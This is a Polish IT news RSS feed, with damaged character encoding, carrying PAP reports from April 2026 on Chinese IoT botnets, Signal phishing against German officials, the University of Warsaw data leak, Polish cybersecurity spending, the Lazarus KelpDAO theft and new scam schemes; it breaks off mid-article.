			<description><![CDATA[ Cyberwywiad Chin wykorzystuje na Zachodzie prywatne routery, gadand#380;ety podand#322;and#261;czone do sieci, czy inteligentne lodand#243;wki do atakand#243;w hakerskich na instytucje i krytycznand#261; infrastrukturand#281; oraz do wykradania tajnych informacji and#8211; podaand#322; and#8222;Financial Timesand#8221;, powoand#322;ujand#261;c siand#281; na sand#322;uand#380;by wywiadowcze wielu paand#324;stw.



and#160;




and#160;

fot. ORION PRODUCTION /and#160;/and#160;Shutterstock


and#160;
Zatrudniani przez rzand#261;d Chin hakerzy rutynowo posand#322;ugujand#261; siand#281; and#8222;rozlegand#322;ymi sieciamiand#8221; zand#322;oand#380;onymi z podand#322;and#261;czonych do internetu sprzand#281;tand#243;w domowych i gadand#380;etand#243;w, by przeprowadzaand#263; ataki na and#8222;krajowand#261; infrastrukturand#281; i demokratyczne instytucjeand#8221; - wyjaand#347;nia brytyjski dziennik, powoand#322;ujand#261;c siand#281; na ocenand#281; agencji wywiadowczych Niemiec, Japonii, Holandii, Hiszpanii i Szwecji oraz sojuszu wywiadowczego Five Eyes, w ramach ktand#243;rego wspand#243;and#322;pracujand#261; sand#322;uand#380;by USA, Wielkiej Brytanii, Kanady, Australii i Nowej Zelandii.
and#160;
W czwartek Krajowe Centrum Cyberbezpieczeand#324;stwa Wielkiej Brytanii poinformowaand#322;o, and#380;e chiand#324;ski cyberwywiad wykorzystuje dziesiand#261;tki tysiand#281;cy zwykand#322;ych domowych sprzand#281;tand#243;w podand#322;and#261;czonych do internetu, by tworzyand#263; sieci botand#243;w zdolne do przeprowadzania atakand#243;w i wykradania informacji. Praktyka taka nie jest nowa, ale Chiny posand#322;ugujand#261; siand#281; niand#261; and#8222;strategicznie i na wielkand#261; skaland#281;and#8221; - sprecyzowaand#322; brytyjski oand#347;rodek.
and#160;
Wand#322;amania do routerand#243;w czy lodand#243;wek w prywatnych domach czy firmach nie stanowiand#261; problemu, bo bardzo czand#281;sto ich oprogramowania nie sand#261; aktualizowane. Sprzand#281;and#380;one w sieci sprzand#281;ty pozwalajand#261; nie tylko na przeprowadzanie wyrafinowanych atakand#243;w, ale teand#380; na ich skuteczne maskowanie - wyjaand#347;niand#322; w rozmowie z and#8222;FTand#8221; przedstawiciel europejskiej agencji wywiadowczej.
and#160;
W marcu sojusz Five Eyes ostrzegand#322;, and#380;e rand#243;wnieand#380; Rosja usiand#322;uje wykorzystywaand#263; prywatne sprzand#281;ty do cyberatakand#243;w, ale Chiny robiand#261; to na znacznie wiand#281;kszand#261; skaland#281;.
and#160;
Trzy najwaand#380;niejsze chiand#324;skie jednostki hakerskie, znane jako Volt Typhoon, Flax Typhoon i Violet Typhoon, i powiand#261;zane z wojskiem oraz resortem bezpieczeand#324;stwa paand#324;stwowego, rutynowo wykorzystujand#261; ataki sieci botand#243;w do swych operacji - ustaliand#322;y zachodnie sand#322;uand#380;by.
and#160;
W opinii amerykaand#324;skiego wywiadu gand#322;and#243;wnym celem takich atakand#243;w jest uszkodzenie systemand#243;w cywilnych i wojskowych, na przykand#322;ad po to, by utrudniand#263; USA zareagowanie na ewentualnand#261; inwazjand#281; Chin na Tajwan, czy innand#261; formand#281; ataku na wyspand#281;.
and#160;
W czwartek and#8222;FTand#8221; dotarand#322; do dokumentu przygotowanego przez dyrektora Biaand#322;ego Domu ds. polityki naukowej i technologicznej Michaela Kratsiosa, ktand#243;ry oskarand#380;yand#322; Chiny o kradzieand#380; amerykaand#324;skiej wand#322;asnoand#347;ci intelektualnej zwiand#261;zanej ze sztucznand#261; inteligencjand#261; metodand#261; tzw. destylacji (distillation). Jest to proces uczenia mniejszych modeli AI w oparciu o osiand#261;gniand#281;cia wiand#281;kszych modeli, w celu zbudowania nowego produktu niand#380;szym kosztem.
and#160;
Jak podkreand#347;liand#322; dziennik, amerykaand#324;ski sektor AI jest zaniepokojony ryzykiem, jakie stwarzajand#261; zagraniczne and#8222;modele destylowaneand#8221;, ktand#243;re nie posiadajand#261; wand#322;aand#347;ciwych zabezpieczeand#324; uniemoand#380;liwiajand#261;cych np. tworzenie broni biologicznej czy przeprowadzanie zand#322;oand#347;liwych cyberatakand#243;w.and#160;
and#160;
and#160;





and#378;rodand#322;o PAP 25 kwiecieand#324; 2026 fit/ ap/ ]]></description>
		</item><item>
			<title><![CDATA[ Signal zhakowany w Niemczech. Rosyjscy hakerzy czytają prywatne wiadomości niemieckich elit ]]></title>
			<link>http://www.mv-it.pl/aktualnosci/1692</link>
			<description><![CDATA[ Czand#322;onkowie rzand#261;du Niemiec padli ofiarand#261; domniemanego ataku szpiegowskiego za poand#347;rednictwem komunikatora Signal - poinformowaand#322;a w sobotand#281; agencja dpa. To czand#281;and#347;and#263; trwajand#261;cej w Niemczech szerszej kampanii, w ktand#243;rej hakerzy uzyskujand#261; dostand#281;p do treand#347;ci czatand#243;w.
and#160;




and#160;

fot. Nadja Wohlleben /and#160;/and#160; Reuters / Forum


and#160;
Z ustaleand#324; magazynu and#8222;Der Spiegeland#8221; wynika, and#380;e do ofiar kampanii hakerskiej na Signalu naleand#380;and#261; m.in. szefowa resortu budownictwa Verena Hubig, ministra ds. rodziny Karin Prien oraz przewodniczand#261;ca Bundestagu Julia Kloeckner. W sobotand#281; dpa potwierdziand#322;a, and#380;e czand#322;onkowie rzand#261;du federalnego byli celem domniemanego ataku szpiegowskiego, nie podajand#261;c jednak nazwisk.
Zgodnie z doniesieniami mediand#243;w na telefonie kanclerza RFN Friedricha Merza nie wykryto niczego podejrzanego. Oficjalnie niemiecki rzand#261;d nie wypowiada siand#281; na temat konkretnych politykand#243;w, ktand#243;rych dotknand#261;and#322; atak.
Kampania hakerska prowadzona jest w Niemczech przeciwko politykom, dziennikarzom i wojskowym, a wand#322;adze podejrzewajand#261; and#380;e stoi za niand#261; paand#324;stwowy podmiot, prawdopodobnie Rosja.and#160;Sand#322;uand#380;by bezpieczeand#324;stwa kontaktowaand#322;y siand#281; od lutego z wieloma politykami, aby ich ostrzec lub pomand#243;c ustaliand#263;, czy cyberprzestand#281;pcy uzyskali dostand#281;p do ich kont.
Obecne ustalenia wskazujand#261;, and#380;e kampania hakerska trwa i nabiera rozpand#281;du - ostrzega dpa. Podobne ataki wykrywa siand#281; takand#380;e w Wielkiej Brytanii i Holandii.
Model dziaand#322;ania hakerand#243;w na Signalu polega na wysand#322;aniu przez nich wiadomoand#347;ci, w ktand#243;rej prosi siand#281; o wprowadzenie kodu PIN, klikniand#281;cie w link band#261;dand#378; zeskanowanie kodu QR. Nadawcand#261; wiadomoand#347;ci jest np.and#160;and#8222;Signal Supportand#8221;. W ten sposand#243;b uzyskuje siand#281; dostand#281;p m.in. do treand#347;ci rozmand#243;w prowadzonych przez komunikator.
and#160;
and#378;rodand#322;o PAP 25 kwiecieand#324; 2026 z Berlina Mateusz Obremski (PAP)
mobr/ ap/

and#160; ]]></description>
		</item><item>
			<title><![CDATA[ Cyberatak na UW. "Przechwycone dane nie zostały zaszyfrowane" ]]></title>
			<link>http://www.mv-it.pl/aktualnosci/1691</link>
			<description><![CDATA[ Atak na Uniwersytet Warszawski rand#243;and#380;ni siand#281; od innych tego typu, bo przechwycone dane nie zostaand#322;y zaszyfrowane, a uczelnia nadal miaand#322;a do nich dostand#281;p - poinformowaand#322; PAP rzecznik prasowy Centralnego Biura Zwalczania Cyberprzestand#281;pczoand#347;ci kom. Marcin Zagand#243;rski.
and#160;




and#160;

fot. Wlodzimierz Wasyluk / Forum /and#160;/and#160;FORUM


and#160;
W nocy z 15 na 16 kwietnia w darknecie opublikowano ok. 200 tys. plikand#243;w pozyskanych w wyniku cyberataku na Uniwersytet Warszawski, ktand#243;ry zostaand#322; wykryty 9 lutego; wg informacji UW dane mogand#322;y zostaand#263; skopiowane w okresie od stycznia do lutego br. Uczelnia potwierdziand#322;a, and#380;e ok. 32,8 tys. plikand#243;w mogand#322;o zawieraand#263; dane osobowe m.in. pracownikand#243;w, studentand#243;w i kandydatand#243;w na studia. Zapewniand#322;a, and#380;e w tej sprawie wspand#243;and#322;pracuje m.in. z CERT Polska oraz z Centralnym Biurem Zwalczania Cyberprzestand#281;pczoand#347;ci.



and#160;



Rzecznik prasowy CBZC kom. Marcin Zagand#243;rski przekazaand#322; PAP, and#380;e Biuro informacjand#281; o ataku CBZC otrzymaand#322;o 16 lutego. - Po wstand#281;pnych czynnoand#347;ciach rozpoznawczych zostaand#322;o wszczand#281;te dochodzenie, w ramach ktand#243;rego m.in. zabezpieczyliand#347;my dane - wyjaand#347;niand#322;.
and#160;
Dodaand#322;, and#380;e rand#243;wnolegle dziaand#322;ania w sprawie rozpoczand#281;and#322;a Naukowa i Akademicka Sieand#263; Komputerowa - Paand#324;stwowy Instytut Badawczy, ktand#243;rej uniwersytet przekazaand#322; sprzand#281;t komputerowy.
Policjant podkreand#347;liand#322;, and#380;e atak na UW rand#243;and#380;ni siand#281; od innych atakand#243;w ransomware. - Zostaand#322;o wykorzystane odpowiednie oprogramowane, natomiast - w przeciwieand#324;stwie do klasycznych atakand#243;w tego typu - pozyskane dane nie zostaand#322;y zaszyfrowane, a uczelnia nadal miaand#322;a do nich dostand#281;p i mogand#322;a z nich korzystaand#263;. Sprawcy teand#380; nie zwrand#243;cili siand#281; do uniwersytetu z and#380;and#261;daniami finansowymi w zamian za nieupublicznianie danych - powiedziaand#322;.



















Zagand#243;rski nie potwierdziand#322; powielanych przez media informacji nt. potencjalnych sprawcand#243;w ataku. - Mamy swoje wskazania, ale na ten moment, majand#261;c na uwadze dobro and#347;ledztwa, muszand#281; je zachowaand#263; w tajemnicy - wyjaand#347;niand#322;.
Podkreand#347;liand#322; jednak, and#380;e zazwyczaj ataki tego typu przeprowadzajand#261; grupy przestand#281;pcze o miand#281;dzynarodowym zasiand#281;gu. - Jest to ich cecha charakterystyczna: ich dziaand#322;ania sand#261; miand#281;dzynarodowe, a ofiarami padajand#261; nie tylko firmy czy instytucje w Polsce, ale i na caand#322;ym and#347;wiecie - zaznaczyand#322; rzecznik CBZC.
Przypomniaand#322;, and#380;e kaand#380;da osoba, ktand#243;ra obawia siand#281;, and#380;e jej dane zostaand#322;y przechwycone, moand#380;e to zweryfikowaand#263; za pomocand#261; strony: bezpiecznedane.gov.pl. Warto teand#380; zastrzec swand#243;j numer PESEL - usand#322;uga jest dostand#281;pna w ramach aplikacji mObywatel.
O zdarzeniu UW poinformowaand#322; czand#322;onkand#243;w spoand#322;ecznoand#347;ci akademickiej, w tym studentand#243;w, doktorantand#243;w, kandydatand#243;w na studia, pracownikand#243;w, a takand#380;e osoby wspand#243;and#322;pracujand#261;ce z Uniwersytetem, ktand#243;rych dane osobowe mogand#322;y zostaand#263; przechwycone.





Przekazaand#322; informacjand#281; rand#243;wnieand#380; Urzand#281;dowi Ochrony Danych Osobowych. and#8222;Uniwersytet Warszawski zgand#322;osiand#322; naruszenie ochrony danych osobowych Prezesowi UODO. Zgand#322;oszenie to jest obecnie analizowaneand#8221; - poinformowaand#322; PAP rzecznik prasowy UODO.
W komunikacie opublikowanym na swojej stronie we wtorek Uniwersytet Warszawski tand#322;umaczyand#322;, and#380;e do naruszenia ochrony danych osobowych doszand#322;o w wyniku nieuprawnionego dostand#281;pu do systemand#243;w informatycznych uczelni. Osoba nieuprawniona zalogowaand#322;a siand#281; do systemu przy uand#380;yciu prawidand#322;owych danych dostand#281;powych (loginu i hasand#322;a), ktand#243;re zostaand#322;y wczeand#347;niej przejand#281;te and#8211; najprawdopodobniej w wyniku dziaand#322;ania zand#322;oand#347;liwego oprogramowania na urzand#261;dzeniu uand#380;ytkownika.and#160;
and#160;
and#160;
and#378;rodand#322;o PAP 23 kwiecieand#324; 2026 ksc/ mbl/ bar/ ]]></description>
		</item><item>
			<title><![CDATA[ 5 miliardów na cyfrową tarczę. Polska w piątce najlepiej chronionych państw świata ]]></title>
			<link>http://www.mv-it.pl/aktualnosci/1690</link>
			<description><![CDATA[ and#321;and#261;cznie w 2026 r. Polska z rand#243;and#380;nych and#378;rand#243;deand#322; wyda na cyberbezpieczeand#324;stwo rekordowe ponad 5 mld zand#322; - poinformowaand#322; w trakcie panelu na EKG w Katowicach minister cyfryzacji Krzysztof Gawkowski. Dodaand#322;, and#380;e Polska jest najbardziej cyberatakowanym paand#324;stwem w UE i jednoczeand#347;nie znajduje siand#281; w piand#261;tce najlepiej chronionych paand#324;stw na and#347;wiecie.
and#160;




and#160;

fot. husjur02 /and#160;/and#160;Shutterstock


and#160;
"Nie band#281;dzie najlepszego zarzand#261;dzania i myand#347;lenia o cyberbezpieczeand#324;stwie, jeand#380;eli nie band#281;dzie na to olbrzymich and#347;rodkand#243;w finansowych. I takie rekordowe pieniand#261;dze w roku 2026 polski rzand#261;d zamierza na cyberbezpieczeand#324;stwo poand#322;oand#380;yand#263; i przedand#322;oand#380;yand#263; jako pewien element wsparcia, bo dzisiaj te pieniand#261;dze pochodzand#261; z rand#243;and#380;nych and#378;rand#243;deand#322;: z budand#380;etu krajowego, z KPO, z funduszy europejskich na rozwand#243;j cyfrowy. and#321;and#261;cznie w 2026 r. wydamy ponad 5 mld zand#322; na cyberbezpieczeand#324;stwo" - powiedziaand#322; Gawkowski.
W tym kontekand#347;cie zwrand#243;ciand#322; uwagand#281; m.in. na programy w gminach chroniand#261;ce m.in. wodociand#261;gi, wsparcie dla NASK-u, fundusz cyberbezpieczeand#324;stwa i wsparcie rozwoju kompetencji cyfrowych.
"Odpowiedzialnoand#347;and#263; za ten cyfrowy and#347;wiat dotyczy takand#380;e suwerennoand#347;ci technologicznej. Nie ma mocnego, dobrego cyberbezpieczeand#324;stwa paand#324;stwa bez suwerennoand#347;ci technologicznej, ona musi siand#281; odbywaand#263; na poziomie strategicznym i dlatego inwestujemy w sztucznand#261; inteligencjand#281;, ktand#243;ra dzisiaj jest mnoand#380;nikiem siand#322;y (...). Inwestujemy w polskie modele jand#281;zykowe - w PLLuM i Bielik, realizujemy zadania budowy fabryk sztucznej inteligencji, ale rozbudowujemy teand#380; pola dot. kwantowej infrastruktury komunikacyjnej" - dodaand#322;.
Poinformowaand#322; jednoczeand#347;nie, and#380;e Polska odpiera ponad 99 proc. cyberatakand#243;w i jest najbardziej atakowanym paand#324;stwem w UE.

















"Polska jest dzisiaj w piand#261;tce najlepiej chronionych paand#324;stw na and#347;wiecie" - podkreand#347;liand#322;. (PAP Biznes)
and#160;
and#160;
and#378;rodand#322;o PAP 23 kwiecieand#324; 2026and#160; jz/ ana/ ]]></description>
		</item><item>
			<title><![CDATA[ Największy skok na krypto w tym roku. Hakerzy z Korei Północnej włamali się do KelpDAO ]]></title>
			<link>http://www.mv-it.pl/aktualnosci/1689</link>
			<description><![CDATA[ Pand#243;and#322;nocnokoreaand#324;ska grupa hakerand#243;w Lazarus jest podejrzana o kradzieand#380; kryptowalut o wartoand#347;ci 290 mln dolarand#243;w and#8211; podaand#322;a w and#347;rodand#281; AFP. Atak na platformand#281; finansand#243;w zdecentralizowanych KelpDAO, do ktand#243;rego doszand#322;o w ostatni weekend, to najwiand#281;ksza tego typu kradzieand#380; w bieand#380;and#261;cym roku.
and#160;




and#160;

fot. I love photo /and#160;/and#160;Shutterstock


and#160;
Atak na platformand#281; KelpDAO byand#322; moand#380;liwy dziand#281;ki przejand#281;ciu kontroli nad dwoma serwerami partnerskiej aplikacji LayerZero. Hakerom udaand#322;o siand#281; wyprowadziand#263; tokeny powiand#261;zane z Ethereum, drugand#261; najwiand#281;kszand#261; kryptowalutand#261; na and#347;wiecie.
Firma LayerZero w oand#347;wiadczeniu potwierdziand#322;a stratand#281; i wskazaand#322;a na prawdopodobnego sprawcand#281;.

Z wstand#281;pnych ustaleand#324; wynika, and#380;e za atakiem stoi wysoce zaawansowany podmiot paand#324;stwowy, prawdopodobnie pand#243;and#322;nocnokoreaand#324;ska grupa Lazarus and#8211; czytamy w komunikacie firmy.







and#160;



Lazarus Group (Grupa and#321;azarza) to elitarna jednostka hakerska powiand#261;zana z Biurem ds. Rozpoznania Ogand#243;lnego,and#160;gand#322;and#243;wnand#261; agencjand#261; wywiadowczand#261; Korei Pand#322;n.and#160;Wedand#322;ug ekspertand#243;w tylko Lazarus dysponuje wiedzand#261; i zasobami do przeprowadzenia tak skomplikowanego cyberataku jak ten na KelpDAO.
and#160;
Wedand#322;ug raportu ONZ z 2024 r., Korea Pand#243;and#322;nocna od 2017 r. ukradand#322;a ok. 3,6 mld dolarand#243;w w kryptowalutach, a w okresie styczeand#324;and#8211;wrzesieand#324; 2025 r. dodatkowo 1,65 mld dolarand#243;w, aby finansowaand#263; swand#243;j program zbrojeand#324; jand#261;drowych. Reand#380;im w Pjongjangu wielokrotnie zaprzeczaand#322; zaangaand#380;owaniu w przestand#281;pstwa cybernetyczne lub kradzieand#380;e kryptowalut.
and#160;






















and#378;rodand#322;o PAP 22 kwiecieand#324; 2026and#160; Krzysztof Pawliszak (PAP)
krp/ ap/ ]]></description>
		</item><item>
			<title><![CDATA[ Cyberatak na Uniwersytet Warszawski. Tysiące plików z danymi osobowymi w darknecie ]]></title>
			<link>http://www.mv-it.pl/aktualnosci/1688</link>
			<description><![CDATA[ Ok. 200 tys. plikand#243;w uzyskanych w wyniku cybrataku na Uniwersytet Warszawski opublikowano w darknecie w nocy z 15 na 16 kwietnia. Ok. 32,8 tys. plikand#243;w mogand#322;o zawieraand#263; dane osobowe m.in. pracownikand#243;w, studentand#243;w i kandydatand#243;w na studia - potwierdziand#322;a we wtorek uczelnia. Zapewniand#322;a, and#380;e w tej sprawie wspand#243;and#322;pracuje m.in. z CERT Polska oraz z Centralnym Biurem Zwalczania Cyberprzestand#281;pczoand#347;ci.
and#160;




and#160;

fot. Wlodzimierz Wasyluk / Forum /and#160;/and#160;FORUM


and#160;
and#8222;Zawiadomienie kierowane jest do czand#322;onkand#243;w spoand#322;ecznoand#347;ci akademickiej Uniwersytetu Warszawskiego, w tym studentand#243;w, doktorantand#243;w, kandydatand#243;w na studia, pracownikand#243;w, a takand#380;e osand#243;b wspand#243;and#322;pracujand#261;cych z Uniwersytetem, ktand#243;rych dane osobowe mogand#322;y zostaand#263; objand#281;te incydentem, do jakiego doszand#322;o w nocy 15/16 kwietnia 2026 r.and#8221; - wskazano we wtorkowym komunikacie opublikowanym na stronie UW, powoand#322;ujand#261;c siand#281; na zobowiand#261;zania wynikajand#261;ce z RODO.



and#160;



Zalogowali siand#281; poprawnym hasand#322;em i wykradli tysiand#261;ce plikand#243;w
Uczelnia zapewniand#322;a, and#380;e od razu podjand#281;and#322;a dziaand#322;ania, aby ograniczyand#263; skutki zdarzenia i lepiej zabezpieczyand#263; dane na przyszand#322;oand#347;and#263;. and#8222;Na bieand#380;and#261;co analizujemy sytuacjand#281; i robimy wszystko, co moand#380;liwe, aby podobne incydenty siand#281; nie powtand#243;rzyand#322;y. Jednoczeand#347;nie Uniwersytet Warszawski dokonaand#322; zgand#322;oszenia naruszenia do Prezesa Urzand#281;du Ochrony Danych Osobowych oraz prowadzona jest aktywna wspand#243;and#322;praca z CERT Polska oraz z Centralnym Biurem Zwalczania Cyberprzestand#281;pczoand#347;ci (CBZC)and#8221; - czytamy w komunikacie.
Jak wyjaand#347;niono, do naruszenia ochrony danych osobowych doszand#322;o w wyniku nieuprawnionego dostand#281;pu do systemand#243;w informatycznych UW. Osoba nieuprawniona zalogowaand#322;a siand#281; do systemu przy uand#380;yciu prawidand#322;owych danych dostand#281;powych (loginu i hasand#322;a), ktand#243;re zostaand#322;y wczeand#347;niej przejand#281;te and#8211; najprawdopodobniej w wyniku dziaand#322;ania zand#322;oand#347;liwego oprogramowania na urzand#261;dzeniu uand#380;ytkownika.

Dziand#281;ki uand#380;yciu poprawnych danych logowania aktywnoand#347;and#263; ta przez dand#322;uand#380;szy czas nie wzbudzaand#322;a podejrzeand#324;. Osoby odpowiedzialne za atak dziaand#322;aand#322;y w sposand#243;b rozproszony i trudny do wykrycia, stopniowo uzyskujand#261;c dostand#281;p do kolejnych elementand#243;w systemu - podkreand#347;lono.

and#160;
50 GB danych i numery dowodand#243;w w rand#281;kach cyberprzestand#281;pcand#243;w
W trakcie incydentu doszand#322;o do naruszenia poufnoand#347;ci, czyli nieuprawnionego dostand#281;pu do danych osobowych, ich skopiowania, a nastand#281;pnie udostand#281;pnienia w internecie. and#8222;Nie moand#380;na caand#322;kowicie wykluczyand#263; potencjalnej modyfikacji danych. Nie doszand#322;o natomiast do trwaand#322;ego zablokowania dostand#281;pu do danych (zaszyfrowania) lub zakand#322;and#243;cenia dziaand#322;ania kluczowych systemand#243;w uczelniand#8221; - zaznaczono.



















Wedand#322;ug UW incydent zostaand#322; wykryty 9 lutego br., a po jego wykryciu natychmiast podjand#281;to dziaand#322;ania zabezpieczajand#261;ce. Z przeprowadzonych analiz wynika zaand#347;, and#380;e dane mogand#322;y zostaand#263; skopiowane w okresie od stycznia do lutego 2026 r., a ich publikacja w darknecie nastand#261;piand#322;a w nocy 15/16 kwietnia 2026 r.
and#8222;W toku analizy ustalono, and#380;e opublikowany w darknecie zbiand#243;r danych obejmowaand#322; bardzo duand#380;and#261; liczband#281; plikand#243;w (ok. 200 tys., rozmiar: 850 GB)and#8221; - podano w komunikacie.
Jak poinformowano,and#160;zdecydowana wiand#281;kszoand#347;and#263; plikand#243;w z danymi osobowymi pochodzi z dwand#243;ch wydziaand#322;and#243;w UW - Neofilologii oraz Stosowanych Nauk Spoand#322;ecznych i Resocjalizacji. Czand#281;and#347;and#263; z nich (ok. 650 GB) stanowiand#322;y materiaand#322;y audiowizualne o charakterze publicznym.
and#8222;Jednoczeand#347;nie czand#281;and#347;and#263; zbioru (ok. 200 GB) zawieraand#322;a rand#243;and#380;nego rodzaju dane, w tym dane osobowe. Spoand#347;rand#243;d nich ok. 32,8 tys. plikand#243;w mogand#322;o zawieraand#263; dane osoboweand#8221; - podaand#322;a uczelnia.





Jak czytamy, zdarzenie mogand#322;o dotyczyand#263; w szczegand#243;lnoand#347;ci: pracownikand#243;w UW, studentand#243;w, kandydatand#243;w na studia, doktorantand#243;w, byand#322;ych pracownikand#243;w i wspand#243;and#322;pracownikand#243;w, innych osand#243;b zwiand#261;zanych z dziaand#322;alnoand#347;ciand#261; uczelni.
and#160;
Numery PESEL i numery kont mogand#322;y trafiand#263; do sieci
Zakres danych osobowych byand#322; zrand#243;and#380;nicowany i w zaleand#380;noand#347;ci od przypadku mand#243;gand#322; obejmowaand#263; m.in.: dane identyfikacyjne, w tym szczegand#243;lnego rodzaju (np. imiand#281; i nazwisko, data urodzenia, pand#322;eand#263;, obywatelstwo, numer PESEL, numer i seriand#281; dokumentu toand#380;samoand#347;ci, nr paszportu),dane kontaktowe (np. adres zamieszkania, adres e-mail, numer telefonu, nazwa uand#380;ytkownika), dane finansowe i podatkowe (np. numer rachunku bankowego, dane z dokumentand#243;w podatkowych), dane zwiand#261;zane z zatrudnieniem (np. umowy, przebieg zatrudnienia).
and#8222;Na obecnym etapie nie moand#380;emy jednoznacznie potwierdziand#263;, czy i ktand#243;rych konkretnie osand#243;b dane zostaand#322;y objand#281;te incydentem. Analiza zdarzenia nadal trwaand#8221; - poinformowaand#322; UW. and#8222;Nie ma pewnoand#347;ci czy Paand#324;stwa dane zostaand#322;y wykorzystane, jednak zalecamy zachowanie szczegand#243;lnej czujnoand#347;ci oraz podjand#281;cie dziaand#322;aand#324;, ktand#243;re pozwoland#261; ograniczyand#263; potencjalne skutki zdarzeniaand#8221; - wskazaand#322;a uczelnia.
Jak zaznaczono w komunikacie, z uwagi na charakter incydentu oraz zakres danych, ktand#243;re mogand#322;y zostaand#263; nim objand#281;te, istnieje wysokie ryzyko naruszenia praw i wolnoand#347;ci osand#243;b, ktand#243;rych dane dotyczand#261;. Potencjalne konsekwencje (w zaleand#380;noand#347;ci od zakresu danych) mogand#261; obejmowaand#263; m.in.: utratand#281; kontroli nad danymi i prywatnoand#347;ciand#261;, kradzieand#380; toand#380;samoand#347;ci i wykorzystanie danych.





and#160;
Co zrobiand#263;, jeand#347;li jesteand#347; na liand#347;cie poszkodowanych?
Wand#347;rand#243;d rekomendowanych and#347;rodkand#243;w zaradczych UW wymieniand#322;a m.in.:

zabezpieczenie toand#380;samoand#347;ci i danych finansowych poprzez np. zastrzeand#380;enie numeru PESEL,
monitorowanie aktywnoand#347;ci kredytowej poprzez zaand#322;oand#380;enie konta w systemach informacji kredytowej i gospodarczej (np. BIK, BIG, KRD, ERIF) oraz wand#322;and#261;czenie alertand#243;w o prand#243;bach wykorzystania danych;
zabezpieczenie dostand#281;pu do kont i usand#322;ug poprzez zmianand#281; haseand#322; do poczty elektronicznej, bankowoand#347;ci, systemand#243;w uczelnianych i innych serwisand#243;w and#8212; hasand#322;a powinny byand#263; unikalne dla kaand#380;dego konta.

Zalecana jest teand#380; ostroand#380;noand#347;and#263; w kontaktach i komunikacji, ograniczenie dostand#281;pnoand#347;ci danych w przestrzeni publicznej.
and#8222;Jeand#380;eli dowiedzand#261; siand#281; Paand#324;stwo o wykorzystaniu Paand#324;stwa danych przez osoband#281; nieuprawnionand#261; lub zauwaand#380;and#261; jakiekolwiek niepokojand#261;ce sygnaand#322;y, prosimy o moand#380;liwie niezwand#322;oczne przekazanie tej informacji oraz podjand#281;cie odpowiednich dziaand#322;aand#324;, w tym kontakt z wand#322;aand#347;ciwymi instytucjamiand#8221; - czytamy w komunikacie uczelni.
UW zachand#281;ciand#322; teand#380; do regularnego and#347;ledzenia komunikatand#243;w na swojej stronie internetowej.and#160;




















and#378;rodand#322;o PAP 21 kwiecieand#324; 2026 ekr/ agt/

and#160; ]]></description>
		</item><item>
			<title><![CDATA[ Mandat za wycieraczką, mail od Mety i inwestycja pod patronatem rządowym. Nowe pomysły oszustów ]]></title>
			<link>http://www.mv-it.pl/aktualnosci/1687</link>
			<description><![CDATA[ W ostatnich dniach pojawiand#322;y siand#281; co najmniej trzy groand#378;ne oszustwa: faand#322;szywa platforma inwestycyjna podszywajand#261;ca siand#281; pod Ministerstwo Finansand#243;w, papierowe and#8222;wezwania do zapand#322;atyand#8221; zostawiane za wycieraczkand#261; auta oraz bardzo dopracowany phishing wymierzony w administratorand#243;w stron na Facebooku.




and#160;

/and#160;Bankier.pl


Jeszcze kilka lat temu internetowe oszustwa czand#281;sto daand#322;o siand#281; rozpoznaand#263; po dziwnym jand#281;zyku, literand#243;wkach i topornych wiadomoand#347;ciach. Dziand#347; to coraz mniej aktualny obraz. Przestand#281;pcy uczand#261; siand#281; szybko i dobrze wiedzand#261;, and#380;e skuteczny przekrand#281;t musi wygland#261;daand#263; znajomo: jak komunikat urzand#281;du, formalne wezwanie albo wiadomoand#347;and#263; od duand#380;ej platformy, z ktand#243;rej korzystamy na co dzieand#324;. Wand#322;aand#347;nie dlatego nowe kampanie sand#261; groand#378;ne nie tylko dla osand#243;b mniej obeznanych z technologiand#261;. Coraz czand#281;and#347;ciej and#322;apiand#261; siand#281; na nie takand#380;e ci, ktand#243;rzy zwykle uwaand#380;ajand#261; na podejrzane linki i SMS-y.



and#160;



Zyskowna inwestycja pod patronatem Ministerstwa Finansand#243;w i AI? Zapomnijcie
Pierwszy z nowych przypadkand#243;w dotyczy faand#322;szywej platformy inwestycyjnej and#8222;Quantum AIand#8221;. Ministerstwo Finansand#243;w ostrzegand#322;o 13 kwietnia 2026 r., and#380;e oszuand#347;ci podszywajand#261; siand#281; pod resort i prand#243;bujand#261; nakand#322;aniaand#263; internautand#243;w do aktywacji konta inwestycyjnego przez wypeand#322;nienie formularza rejestracyjnego. Obietnica jest stara i dobrze znana: szybkie, wysokie zyski, maand#322;y wysiand#322;ek i poczucie, and#380;e wystarczy zrobiand#263; pierwszy krok, by zaczand#261;and#263; zarabiaand#263;.

Problem w tym, and#380;e nie chodzi o and#380;adnand#261; inwestycjand#281;, lecz o przejand#281;cie danych. Resort zwrand#243;ciand#322; uwagand#281;, and#380;e faand#322;szywe strony bywajand#261; bardzo podobne do prawdziwych serwisand#243;w administracji i rand#243;and#380;niand#261; siand#281; od nich tylko detalami w adresie, na przykand#322;ad przecinkiem zamiast kropki, literand#243;wkand#261; albo dodatkowym znakiem. To oszustwo dziaand#322;a, bo and#322;and#261;czy dwie rzeczy szczegand#243;lnie skuteczne w sieci: obietnicand#281; and#322;atwego zarobku i zaufanie do paand#324;stwowego szyldu.
and#160;
Phishing offline, czyli kartka za wycieraczkand#261;
Drugi schemat jest o tyle niepokojand#261;cy, and#380;e wychodzi poza ekran telefonu czy komputera. Krajowa Administracja Skarbowa ostrzegand#322;a 14 kwietnia 2026 r. przed faand#322;szywymi ulotkami z logo KAS i kodem QR, ktand#243;re oszuand#347;ci wkand#322;adajand#261; za wycieraczki samochodand#243;w. Taki papier ma sprawiaand#263; wraand#380;enie urzand#281;dowego wezwania do zapand#322;aty mandatu. W praktyce zeskanowanie kodu moand#380;e skierowaand#263; ofiarand#281; pod zand#322;oand#347;liwy adres internetowy, a dalej doprowadziand#263; do pobrania szkodliwego oprogramowania, utraty danych albo zawirusowania telefonu.



















To wariant szczegand#243;lnie podstand#281;pny, bo wykorzystuje automatycznand#261; reakcjand#281; kierowcy. Ktoand#347; widzi za szyband#261; and#8222;urzand#281;dowyand#8221; komunikat, chce szybko wyjaand#347;niand#263; sprawand#281; i zamiast spokojnie sprawdziand#263; informacje, od razu siand#281;ga po telefon. KAS podkreand#347;liand#322;a przy tym jasno, and#380;e nie przekazuje wezwaand#324; do zapand#322;aty mandatand#243;w drogowych w postaci takich ulotek.
and#160;
E-maile z prawdziwych adresand#243;w Mety
